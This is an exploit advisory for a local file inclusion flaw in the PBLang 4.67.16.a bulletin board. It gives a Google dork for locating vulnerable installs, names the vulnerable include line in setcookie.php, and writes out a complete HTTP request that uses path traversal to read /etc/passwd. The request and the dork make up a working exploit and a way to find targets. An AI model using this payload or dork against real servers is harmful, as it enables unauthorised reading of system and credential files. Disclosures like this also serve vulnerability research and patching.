PBLang Bulletin Board System - Local File Inclusion

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# Exploit Title:  [PBLang local file include vulnerability]
# Google Dork:    ["Software PBLang 4.67.16.a"]
# Date:           [12/03/2012]
# Author:         ~Pseudo:  [Number 7];
                  ~ Twitter:[@TunisianSeven];
                  ~ Blog:   [http://tunisianseven.blogspot.com/]
# Software Link:  [http://garr.dl.sourceforge.net/project/pblang/Full%20versions/PBLang%204.67.16.a%20no%20graphics/PBLang-4.67.16.a-nographics.zip]
# Version:        [4.67.16.a]
# Tested on:      [wINDOWS,Linux]
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Proof of concept:
In setcookie.php
include($dbpath."/members/".$u);

In order to successfully perform this attack the attacker must have
the full path where the files are uploaded, and it is easy to get
making a request like this:

GET http://localhost/path/setcookie.php?u=../../../../../etc/passwd HTTP/1.1
Cookie: eXtplorer=eRlQPZSWiGt2zRpFlXr6qCgja6DiLumU
Host: localhost:80
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)

For requests like this i use acunetix :D
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